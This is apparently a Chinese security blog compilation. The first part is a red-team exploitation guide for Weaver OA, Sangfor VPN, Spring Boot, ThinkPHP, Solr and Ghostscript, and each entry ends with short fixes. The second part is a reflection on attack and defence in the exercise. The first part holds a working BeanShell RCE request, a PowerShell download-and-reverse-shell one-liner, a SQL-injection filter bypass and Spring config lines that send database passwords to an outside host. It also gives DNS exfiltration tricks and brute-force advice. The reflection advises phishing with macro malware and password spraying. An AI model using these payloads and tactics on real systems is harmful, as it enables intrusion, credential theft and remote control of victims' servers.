一年一度的护网马上要开始了，结合网上已公布的POC，总结了一部分最新的漏洞利用及修复方式，供大家参考。 1 泛微OA Bsh 远程代码执行漏洞 1. 漏洞简介 2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重. 2. 影响组件泛微OA 3. 漏洞指纹 Set-Cookie: ecology_JSessionId=ecology/weaver/bsh.servlet.BshServlet 4. Fofa Dork app="泛微-协同办公OA" 5. 漏洞分析 泛微OA E-cology远程代码执行漏洞原理分析 – FreeBuf互联网安全新媒体平台 https://www.freebuf.com/vuls/215218.html https://github.com/beanshell/beanshell http://beanshell.org/manual/quickstart.html#The_BeanShell_GUI 6. 漏洞利用 Vulnerability-analysis/0917/weaver-oa/CNVD-2019-32204 at master · myzing00/Vulnerability-analysis https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204 POST /weaver/bsh.servlet.BshServlet HTTP/1.1 Host: xxxxxxxx:8088 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 98 Content-Type: application/x-www-form-urlencoded bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw 7. 利用技巧 1.其他形式绕过 eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir"); 2.泛微多数都是windows环境, 反弹shell可以使用pcat Powershell IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd 8. 防护方法 1.及时更新泛微补丁 2.拦截/weaver/bsh.servlet.BshServlet目录的访问 2 泛微OA e-cology SQL注入漏洞 1. 漏洞简介 泛微OA在国内的用户很多,漏洞以前也很多,但现在在漏洞盒子托管了企业SRC https://weaversrc.vulbox.com/, 情况有所好转 2. 影响组件 泛微OA 3. 漏洞指纹 Set-Cookie: ecology_JSessionId= ecology WorkflowCenterTreeData /mobile/plugin/SyncUserInfo.jsp 4. Fofa Dork app="泛微-协同办公OA" 5. 漏洞分析 泛微OA WorkflowCenterTreeData接口注入漏洞(限oracle数据库) – 先知社区 https://xz.aliyun.com/t/6531 6. 漏洞利用 泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现数据库小龙人-CSDN博客 https://blog.csdn.net/zycdn/article/details/102494037 Tentacle/ecology8_mobile_sql_inject.py at 6e1cecd52b10526c4851a26249339367101b3ca2 · orleven/Tentacle https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py 应用安全 – 软件漏洞 – 泛微OA漏洞汇总 – AdreamWillB – 博客园 https://www.cnblogs.com/AtesetEnginner/p/11558469.html /mobile/plugin/SyncUserInfo.jsp 这个也是有问题的, 但由于没有公开的分析报告, 漏洞相对简单, 这里不过多描述 7. 利用技巧 1.在这个漏洞补丁之前大概有几十个前台注入, 都差不多, 因为没公开这里就不细说了 2.泛微的补丁中间改过一次过滤策略, 打完所有补丁的话, 注入就很难了 3.这里可以绕过的原因是泛微某个过滤器初始化错误,当长度超过xssMaxLength=500的时候就不进入安全检测, 修复以后是xssMaxLength=1000000,所以随便你填充%0a%0d还是空格都可以绕过注入检测 4.泛微后端数据库版本存在差异, 但是可以通用检测。已知泛微OA E8存在2个版本的数据库, 一个是mssql, 一个是oracle, 且新旧版本泛微的sql过滤方法并不一致所以这里筛选出一个相对通用的检测手法(下面代码是python的" "*800 800个空格) "-1) "+" "*800+ "union select/**/1, Null, Null, Null, Null, Null, Null, Null from Hrmresourcemanager where loginid=('sysadmin'" 老版本可以在关键字后面加 /**/ 来绕过sql检测 新版本可以通过加入大量空格/换行来绕过sql检测mssql,oracle中都有Hrmresourcemanager , 这是管理员信息表 就Hrmresource表中没有用户, Hrmresourcemanager 表中也一定会存在sysadmin账户，所以进行union select的时候一定会有数据。这里也可以使用 "-1) "+" "*800+ " or/**/ 1=1 and id<(5"，这里使用 <5 可以避免信息超过5条, 但是会返回密码等敏感信息, 不建议使用。 8. 防护方法 1.及时更新泛微补丁 2.泛微最好不要开放到公网 3.使用waf拦击 3 深信服VPN远程代码执行 1. 漏洞简介 深信服 VPN 某个特定产品存在远程代码执行, 2019 攻防演练使用过 2. 影响组件深信服 VPN 3. 漏洞指纹 Set-Cookie: TWFID=welcome to ssl vpn Sinfor 4. Fofa Dork header="Set-Cookie: TWFID=" 5. 漏洞分析 深信服vpnweb登录逆向学习 – potatso – 博客园 https://www.cnblogs.com/potatsoSec/p/12326356.html 6. 漏洞利用 wget -t %d -T %d --spider %s 7. 利用技巧 1.该版本深信服VPN属于相对早期的版本, 大概2008年左右, 但目前还有761个ip开放在公网 2.该版本较低, whomai不存在, 可以使用 uname, 这里没有空格可dns传出来 3.去除空格也简单 cat /etc/passwd | tr " \n" "+|" 8. 防护方法 1.及时更新补丁 2.升级到最新版 4 深信服 VPN 口令爆破 1. 漏洞简介 深信服 VPN 针对口令爆破是5次错误锁定IP五分钟, 所以这里爆破也不是不行, 主要是测试常见弱口令以及分布式爆破也不是不行 2. 影响组件深信服 VPN 3. 漏洞指纹 /por/login_auth.csp?apiversion=1sangfor/cgi-bin/login.cgi?rnd= 4. Fofa Dork app="深信服-SSL-VPN" 5. 漏洞分析 关于SSL VPN认证时的验证码绕过 – SSL VPN/EMM – 深信服社区 https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633 此处存疑, 时间问题没有测试 6. 漏洞利用 1.深信服VPN 口令爆破 demo (这里仅测试了M6,其他的应该差不多) #encoding=utf8 import requests import hashlib import urllib3 urllib3.disable_warnings() import re session = requests.session() def SanForLogin(target, password, username="admin"):     # 加密密码的算法是 sha1(password+sid)     # 没有公开POC就不写了 SanForLogin("https://xxxxxxxxxxx/", "admin") 7. 利用技巧 1.由于深信服涉及的版本跨度时间达十几年, 很多地方不一样, 但是总体都差不太多 国外APT组织应该也批量爆破了一波，加密的密码也就是 sha1(password+sid) 爆破也就锁一会ip, 夜里丢一边跑着就完事了, 弱口令也就那么些admin/123456/Sangfor/Sangfor@123 2.如果爆破出来了管理员密码, 管理员后台有好多处命令注入, 比如升级工具, 这里讲起来应该是正常功能 3.去年传闻还有前台sql注入, 但是没拿到补丁, 手头没环境, 就没分析, 看一下乌云上的老洞吧。深信服SSLVPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell https://www.uedbox.com/post/31092/ 8. 防护方法 1.及时更新补丁 2.升级到最新版 5 边界产品(防火墙, 网关, 路由器, VPN) 相关漏洞 1. 漏洞简介 大型企业往往会配置一些边界设备来维护企业内外网通信, 这里也存在灯下黑的问题, 由于多数不开源, 漏洞主要以弱口令为主 2. 影响组件 防火墙, 网关, 路由器, VPN 3. 漏洞指纹 防火墙, 网关, 路由器, VPN 4. Fofa Dork防火墙, 网关, 路由器, VPN 的名称 5. 漏洞分析 【安全设备】常见网络安全设备默认口令|IT2021.Com https://www.it2021.com/security/614.html 渗透测试之各厂商防火墙登录IP、初始密码、技术支持 https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA 6. 漏洞利用 【安全设备】常见网络安全设备默认口令|IT2021.Com https://www.it2021.com/security/614.html 渗透测试之各厂商防火墙登录IP、初始密码、技术支持 https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA 7. 利用技巧 1.这个东西好多人不改默认口令, 就算改很多也是企业特色弱口令 admin root 123456 永远的神 内网的安全平台就是个漏洞指南 8. 防护方法 1.设置强口令 2.限制来源IP 6 Thinkphp 相关漏洞 1. 漏洞简介 Thinkphp 是国内很常见的PHP框架, 存在 远程代码执行/sql注入/反序列化/日志文件泄露等问题 2. 影响组件 Thinkphp 3. 漏洞指纹 Thinkphp X-Powered-By: ThinkPHP 4. Fofa Dork app="ThinkPHP" 5. 漏洞分析 ThinkPHP漏洞总结 – 赛克社区 http://zone.secevery.com/article/1165 挖掘暗藏ThinkPHP中的反序列利用链 – 斗象能力中心 https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/ ThinkPHP使用不当可能造成敏感信息泄露PHP_Fly鹏程万里-CSDN博客 https://blog.csdn.net/Fly_hps/article/details/81201904 DSMall代码审计 – 安全客，安全资讯平台 https://www.anquanke.com/post/id/203461 6. 漏洞利用 SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合 https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection Dido1960/thinkphp: thinkphp反序列化漏洞复现及POC编写 https://github.com/Dido1960/thinkphp whirlwind110/tphack: Thinkphp3/5 Log文件泄漏利用工具 https://github.com/whirlwind110/tphack 7. 利用技巧 1.遇到Thinkphp的站点看一下版本, 或者直接扫一下, 看看有没有rce, 或者日志文件泄露 2.自从挖了thinphp的反序列化利用链以后, 这类型考题经常出没在ctf中 3.实战中也看到偶尔有可以利用的情况, 运气好可能有惊喜, 刚好有篇新出的文章中使用到了这个漏洞 DSMall代码审计 – 安全客，安全资讯平台 https://www.anquanke.com/post/id/203461 8. 防护方法 1.及时更新补丁 2.升级到最新版Thinkphp 3.前置WAF进行防护 7 Spring 系列漏洞 1. 漏洞简介 Spring 是java web里最最最最常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化, 火起来之前用了一两年, 效果很棒 2. 影响组件 Spring xxx 3. 漏洞指纹 X-Application-Context: 4. Fofa Dork app="Spring-Framework" 5. 漏洞分析 Spring 框架漏洞集合 ~ Misaki’s Blog https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/ Exploiting Spring Boot Actuators | Veracode blog https://www.veracode.com/blog/research/exploiting-spring-boot-actuators Spring Boot Actuators配置不当导致RCE漏洞复现 – JF ‘ blog https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/ 6. 漏洞利用 mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE https://github.com/mpgn/Spring-Boot-Actuator-Exploit artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads https://github.com/artsploit/yaml-payload 7. 利用技巧 1.Spring Boot Actuators 相关漏洞超级好用，很多厂商一开始都不懂, 直接对外开放Spring Boot Actuators, 造成了有一段时间每个用了Spring Boot的厂商都出了问题，尤其是现在很多厂商使用微服务框架, 通过网关进行路由分发, 一些子目录通常对应一个Spring Boot启动的服务。然后子目录比如 http://123.123.123.123/admin/env , http://123.123.123.123/manager/env也都是可以出现的/env 可以偷session, RCE/heapdump 可以直接dump jvm中的对象, 使用 jhat 可以读取里面的对象可以遍历如下的endpoint, 1.x 2.x的目录不一样, 所以都覆盖了一下 /trace /health /loggers /metrics /autoconfig /heapdump /threaddump /env /info /dump /configprops /mappings /auditevents /beans /jolokia /cloudfoundryapplication /hystrix.stream /actuator /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/mappings /actuator/jolokia /actuator/hystrix.stream /monitor /monitor/auditevents /monitor/beans /monitor/health /monitor/conditions /monitor/configprops /monitor/env /monitor/info /monitor/loggers /monitor/heapdump /monitor/threaddump /monitor/metrics /monitor/scheduledtasks /monitor/httptrace /monitor/mappings /monitor/jolokia /monitor/hystrix.stream 这里通过 /env + /refresh 进行rce应该还有其他利用手法, 当spring boot reload的时候会进行一些默认操作，里面就有操作空间, 很像fastjson反序列化。 2.就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也ok eureka.client.serviceUrl.defaultZone=http://${somedb.pasword}@127.0.0.1:5000 spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml 3.尤其是使用spring eureka做集群的时候, 通常拿到一台服务器, 就可以传递恶意注册到其他server, 从而感染整个微服务集群eureka 通常是 server 也是 client, 无论对方请求什么都直接返回恶意序列化xml就可以了 8. 防护方法 1.及时更新补丁 2.开启Spring Boot Actuators权限校验 3.前置WAF进行防护 8 Solr 系列漏洞 1. 漏洞简介 Solr 是企业常见的全文搜索服务, 这两年也爆出很多安全漏洞, 2. 影响组件 Solr 3. 漏洞指纹 Solr 4. Fofa Dork app="Solr" 5. 漏洞分析 Apache Solr最新RCE漏洞分析 – FreeBuf互联网安全新媒体平台 https://www.freebuf.com/vuls/218730.html Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析 https://paper.seebug.org/1009/ 6. 漏洞利用 veracode-research/solr-injection: Apache Solr Injection Research https://github.com/veracode-research/solr-injection jas502n/CVE-2019-12409: Apache Solr RCE (ENABLE_REMOTE_JMX_OPTS=”true”) https://github.com/jas502n/CVE-2019-12409 mogwailabs/mjet: MOGWAI LABS JMX exploitation toolkit https://github.com/mogwailabs/mjet 7. 利用技巧 1.看到锤就完事了, 漏洞太多了, 一片一片的 2.遇到mjet连接超时,这是目标服务起返回了错误的stub(内网地址, 常见于docker), 可以使用socat进行流量转发, 后记里面有具体操作 8. 防护方法 1.升级到最新版 2.不要对外开放敏感端口 9 Ghostscript 上传图片代码执行 1. 漏洞简介 Ghostscript 是图像处理中十分常用的库, 集成在imagemagick等多个开源组件中, 其 .ps文件存在沙箱绕过导致代码执行的问题影响广泛, 由于上传图片就有可能代码执行, 很多大厂中招 2. 影响组件 imagemagick, libmagick, graphicsmagick, gimp, python-matplotlib, texlive-core, texmacs, latex2html, latex2rtf 等图像处理应用 3. 漏洞指纹 .ps/.jpg/.png 4. Fofa Dork 5. 漏洞分析 ghostscript命令执行漏洞预警 – 安全客, 安全资讯平台 https://www.anquanke.com/post/id/157513 6. 漏洞利用 Exploit Database Search https://www.exploit-db.com/search?q=Ghostscript vulhub/ghostscript/CVE-2019-6116 at master · vulhub/vulhub https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116 7. 利用技巧 1.如果发现网站可以上传图片, 且图片没有经过裁剪, 最后返回缩略图, 这里就可能存在Ghostscript 上传图片代码执行dnslog 可以用 ping `uname`.admin.ceye.io 或 ping `whoami`.admin.ceye.io保存成图片, 以后用起来方便, 有个版本的 centos 和 ubuntu poc还不一样, 可以这样构造ping `whoami`.centos.admin.ceye.io / ping `whoami`.ubuntu.admin.ceye.io分别命名为 centos_ps.jpg/ubuntu_ps.jpg, 这样测试的时候直接传2个文件, 通过DNSLOG可以区分是哪个poc执行的 8. 防护方法 1.升级到最新版 ...

截止到28日5点，护网行动终于结束，朋友圈感觉是在过年，到处是倒计时和庆祝声。看来防守方们7*24小时的看监控还是比较无奈的。本次复盘基于我对整个护网行动的观察总结而来，仅代表我个人观点，如有不妥之处，欢迎交流。 1. 整体攻防的思考   本次攻防，从规则到各方实力，都是绝无仅有的。经常有人问，是攻击队厉害还是防守队厉害？经过我这些年的思考，还是没有得出一个确切的结论。有时候觉得攻击队厉害，因为攻击可以在非特定时间随意发起，出其不意攻其不备，甚至手持0day指哪打哪，毕竟木桶原理决定着攻破一处即可内部突袭；有时候又觉得防守方厉害，因为防守方拥有全部访问流量，随时洞察攻击者的探测并封堵IP，也可以在主机层监控攻击者一举一动，甚至部署蜜罐玩弄黑客于鼓掌之中。总之，这么些年的摸爬滚打经验告诉我，攻防就是这样，道高一尺魔高一丈，一如黑客防线中说的“在攻于防的对立统一中寻求突破”。   2. 从攻击方思考   在真实的攻击行动中，一般一个目标要搞到核心系统根据防御程度不同，也需要1个月到半年的样子，甚至APT要潜伏一到两年才能拿到自己想要的数据。而此次总共给攻击方的时间只有3个周，并且每个队伍据说10多个目标，这也就决定了攻击要快速、要自动化。   a) 分布式扫描器   要说快速，还是得上扫描器，但是一个扫描器速度肯定不行，再者，被发现攻击行为，立马IP被ban掉，后续就无法进行。所以，分布式扫描器在这种情况下一定是个趋势。首先对全部目标的全端口进行一次扫描+端口识别，根据Banner快速收割一轮；   在这个过程中就会有个陷阱，比如在收集二级域名时，经常采用字典爆破，而防守方会设置一个诱饵二级域名，把流量引入蜜罐之中，坐等攻击方上钩。这时就需要攻击方们机灵一点，时刻反思这个是不是蜜罐。   对于AWVS的扫描器，还需升级到最新版，别被防御方反制，毕竟老版本扫描器自身就存在一个RCE。   b) 菜刀？蚁剑？冰蝎？   对于所有的黑客来说，菜刀肯定是一个传奇，一直是最稳定、最牛逼的webshell管理工具之一，但同时，菜刀也是一个最容易被发现的攻击工具，毕竟流量特征太明显了，而且一旦发现就100%意味着服务器已沦陷，防守方会里面下线进行深入分析。记得当初第一次见到菜刀这工具时的感觉，总结起来就是“厉害”。因为在菜刀之前，我们学习的都是先小马后大马的姿势。而用了菜刀之后，我深刻理解了什么大马小马都无所谓，能执行命令搞定目标的都是好马。然后经过了几年的迭代，中国菜刀在国内安全圈也是经历了各种风风雨雨，各种后门版满天飞。最后鉴于其加密性能较弱，陆续出现了几个替代版本，蚁剑就是很优秀的一个项目。讲真，我开发水平相对较弱，见到蚁剑才发现原来js也可以写出优秀的跨平台客户端应用。可是正式由于其nodejs写的，才导致其跟AWVS一样，存在一个本地nodejs解析的RCE，很可能被防御方反制。再之后给我“厉害”感觉的就是冰蝎了，其双向通信加解密的管理方式，让诸多基于黑名单正则的防御产品厂商直接歇菜。可是很奇怪的时，还是有很多大量攻击方采用菜刀、jspspy之类的原始webshell，结果被防御方轻松发现并清除。   不过说到最后，我有一个疑惑，为什么大家非得用webshell这种方式搞服务器呢？比如存在weblogic反序列化或者Struts2 RCE漏洞时，黑客们写的工具还是一键写入webshell这种。安全发展到今天，防御手段越来越多，各位白帽子是时候改变了。正如我之前说的，不管用什么shell工具，只要能在服务器端执行命令，下面就肯定有更好的解决方案。我一般会使用命令方式加载自己的二进制版远控来操作。现在的二进制远控不像以前还要生成exe用菜刀上传，在命令行下执行，现在基本都可以做到类似mshta或者powershell的一句话直接动态上线，并且基于TCP/UDP协议的命令执行、文件管理。这样的好处：一是稳定，二是完全绕过那些基于黑名单的流量分析设备。类似metasploit的脚本payload反弹的meterpreter，但是msf特征明显，也容易被杀，所以我个人估计后面攻防还是会发展到类似cobalt strike之类的工具对抗上。   c) 水坑&鱼叉   针对水坑或者鱼叉攻击来讲，可以想象到肯定大量的攻击队伍采用这种方法进行攻击，攻击手法多基于邮件进行。现在假想成攻击队伍，我会首先在github上搜索一波，举个例子：https://github.com/search?q="4dogs.cn"+password&type=Code,注意域名要加上双引号进行精准匹配。在翻到一个可登陆的邮箱后，去通信录导出所有联系人方式，进而进行简单的口令爆破；在这些操作还没拿到有用密码的情况下，就可以根据组织结构进行定点攻击了。高级点的用浏览器0day，没有0day的也可以直接发宏病毒，注意要编个理由并且加密发送，防止被沙箱抓样本。   假如没有有用的邮箱账号，也可以用搜索引擎收集邮箱，再根据规则，加载中国姓名top500字典进行组合，总归能抓到一两个用弱口令的。   如果还是什么都没有，也可以使用swaks一类直接伪造成admin发送钓鱼邮件。   对于防御方来讲，最厉害的莫过于直接关停外网邮箱了。次之，可以派人随时查看登录日志，及时发现异地登录爆破情况。对于有钱的甲方，可以通过流量镜像，对附件进行沙箱判定。   d) 内网渗透，还是要了解业务   在突破边界进入内网后，剩下的主要是内网渗透了。内网渗透可以简单分为横向渗透和纵向渗透。内网渗透的实质和关键是信息收集，通过不停的突破系统拿到更多的权限，而更多的权限带来更多的信息，最终在信息和权限的螺旋迭代下，拿到目标的最高权限。   对于有域的环境，一般目标时拿下域控，而在本次攻击中却恰好爆发了一个直接打域控的0day，这就容易多了。但是即使一键拿下域控权限，还是要回到信息收集的本质上，要在海量的终端里筛选出自己的目标数据在哪台机器里，还是需要一些技巧的。   而不管是什么环境，我个人感觉阻碍攻击队伍进行内网渗透的主要原因还是对目标业务的了解程度。比如电力行业的16字方针，很多时候搞到边界系统后，ipconfig一看是10段的，以为进了个大内网，而实际情况是那只是冰山一角而已。纵向突破还有很长很长的路要走。再者，假如对电信行业、金融行业不了解，进到内网肯定也是一脸懵。这也是内网渗透耗费精力的原因。   e) 0day的优劣势   在本次演习中，陆续发现了大量的0day，印象里有七八个，0day具体细节可以参考各大公众号之前的报到。这里只讨论下针对0day的问题。   从0day的内容和数量上来讲，护网结束后我感觉什么系统都有漏洞，并且有一种想去挖几个留着的冲动，奈何工作杂事太多，先搁置一下吧。   对于攻击方来讲，手握0day是指哪打哪的一个有效支撑。从漏洞类型上，基本覆盖web、网络、操作系统等等方面。针对国内的网络安全现状，讲真，我对那些商业应用真的不报任何安全的奢望。对于国企和政府来讲，自有系统大都是外包厂商开发，而这些外包开发者，大部分不懂安全，甚至sql注入是啥都不知道，更别说防御框架漏洞了。所以对于攻击者来讲，去攻击一个客户广泛的厂商，拿到一个0day即可攻下其相关的所有目标，收益非常高。但同时也要明白，现在0day的生存期非常之短。10年前，我们一个0day可以用半年都没被人发现，而在这次演习中，0day的生存期可能只有半个小时，因为防守方发现shell就会溯源，进而预警。不过排除这次防守方7*24小时的有效监控，在真实情况下，0day的生存周期可能不超过一周。所以我认为，当前网络环境中，0day大量存在，但使用非常谨慎。至于防守方怎么防御0day，请看后面的内容。   3. 从防守方考虑   整体来讲，防守方都是从“事前排查”、“事中监控”、“事后溯源”三个方面进行防御的。根据我的观察，国企安全防御能力一般弱于互联网公司；而国企和政府单位的投入普遍高于互联网公司。导致了演习前大量的“人贩子”到处求人驻场的问题，一度炒到每人每天上万元。下面从几个方面分析这次防守方的经验和教训。   a) 防御过度问题   这次演习的意义和重要性，甲方自己应该更明白，这里不再描述。而正是由于防御方的重视，出现了大量的防御过度现象：一是在开始前的大量系统关停，二是对于互联网IP的大量封禁。大量的关停本质上是掩耳盗铃，在护网结束后依旧面临各类外部攻击者的威胁。希望存在这类情况的厂商，还是能从根源上排查漏洞，加固系统，对系统采取必要的防护措施。   针对恶意封禁IP的情况，虽然体现了防守方及时发现攻击的能力，但同时，也影响了正常业务的运行，特别是一封一个B段的情况。各位甲方还是考虑下从根源解决问题。   b) 应急排查   对于事前的应急排查，甲方大都采用临时购买人工渗透服务的方式进行，毫不客气地说，他们买到的一部分是在校大学生，或者培训机构的实习生。即使钱给够了，去的是个渗透大师，也会因为内网漏洞太多，无法完全覆盖。举个例子：假如给我一个系统，我大概需要一上午分析每个端口，每个业务接口的安全性，进而给出一个完整的测试报告。我基本上可以保证我测试过的系统短时间内不会出大问题。但是假如给我一个B段，告诉我3天完成，那我就只能模拟横向内网渗透，masscan先来一些端口，wvs扫描一轮，然后一批一批的去看。这种模式就决定了无法完全覆盖全部业务系统。即使时间够，那对于新增的业务又怎么办？   那针对这种情况该怎么办？我一直给我的客户普及的一个想法：内网漏洞不要指望短时间内购买一次服务就完全解决了。针对漏洞隐患的工作必须常态化开展：一是上资产管控手段，对内网所有的服务器，通过主动扫描、被动流量分析等手段进行搜集，实时监控内网到底开了多少端口，每个端口运行什么服务，应用是什么版本；二是解决遗留问题，对内网既有的框架漏洞、弱口令漏洞，进行专项整治。相信通过本次护网，原来没搞过安全的防守方，在部署安全设备后发现了大量的永恒之蓝、木马受控等遗留问题。建议大家用几周时间集中解决一类问题，循环下去即可解决遗留的全部问题；三是建立新业务上线审查流程，对于新上线的业务系统，必须通过第三方安全测评，只有拿到安全测评报告的才允许上线。   c) 重边界、轻内网的防御策略   这次的防守方普遍是重边界、轻内网防御，造成了一旦边界被破，内网整体垮掉的风险。而这个情况在我入行时就普遍存在。安全发展到今天，实在是说不过去。去年看到了Google提出的0信任网络，感觉是个趋势，一度想转行做0信任网络的布道者，虽然普及还有一段路，但是我还是希望大家可以转变思维，一定不要认为我在内网就是安全的。万一哪天被黑，可能影响的就是国家利益，带来的就是社会动荡。   d) 威胁情报系统的意义   首先，针对这次攻击，各种原有IOC情报基本无效，比如恶意域名库、恶意IP库等，因为攻击方使用的都是新的域名和IP，这也是黑名单做安全的尴尬。但是同时要感谢安全厂商们的威胁情报库，让更多的国企、政府单位认识到了自己内网办公电脑有很多已经被控制。   e) 面对0day攻击的无力感   面对0day攻击，理论上谁都扛不住，但是实际是这样么？仔细想想并非如此，首先，面对0day真正扛不住的是以黑名单为基础的安全设备，包括waf类、态势感知类、IDS类等。而这些安全设备，又确确实实是各大厂商的首选安全监控设备，一旦这些设备没报警，那基本啥都干不了，这也是防守方们7*24小时防守但其实大部分时间无所事事的原因。   首先，对于web 0day的防御，完全可以采用openrasp类防御方法，从根源上防止各类web漏洞攻击。如果有想购买商业版rasp方案的同学，可以勾兑下我哦。   其次，对于网络0day和系统0day，我们可以采用EDR手段进行防御，在终端上装上agent，在agent上采用白名单策略，对于无关的进程启动和危险命令直接报警或阻断。想起来我们四年前做过的一个产品叫麒麟卫士，可以说是国内首款EDR雏形了，可是去卖的时候发现大家对于需要安装agent的做法都耿耿于怀，不敢装。四年过去了，相信后面会有更多的人接受EDR带来的安全改变。   f) 蜜罐   这次演习的一大亮点就是很多防御方采用了蜜罐的方式进行诱捕和攻击引流。要说蜜罐做得好，那是真的很有用。我理想中的蜜罐应当是完全仿真，而不是动态针对部分服务的仿真。同时可以具备反制的功能，一是可溯源攻击者真实身份，二是可利用AWVS或者蚁剑这类黑客工具自己的漏洞反向攻击攻击者。相信后面会有大量的优秀产品脱颖而出。不过防守方真的真实部署后，可能半年也捕获不到一次有效攻击，毕竟这次是演习，平时黑客攻击还是少。不过安全就是如此，防患于未然。   写在最后：   我个人来讲是一个安全技术爱好者，从攻击到防御，都有涉猎。自从创业以来，干的事情更杂了，但是我一有时间还是在刷安全圈的技术文章，写一些poc。我是一个CEO、一个销售、一个售前、一个产品经理，同时，我也是一个“黑客”，期待着用我的所学所知，能为安全圈带来一些改变。“不忘初心，牢记使命”，与君共勉。 ...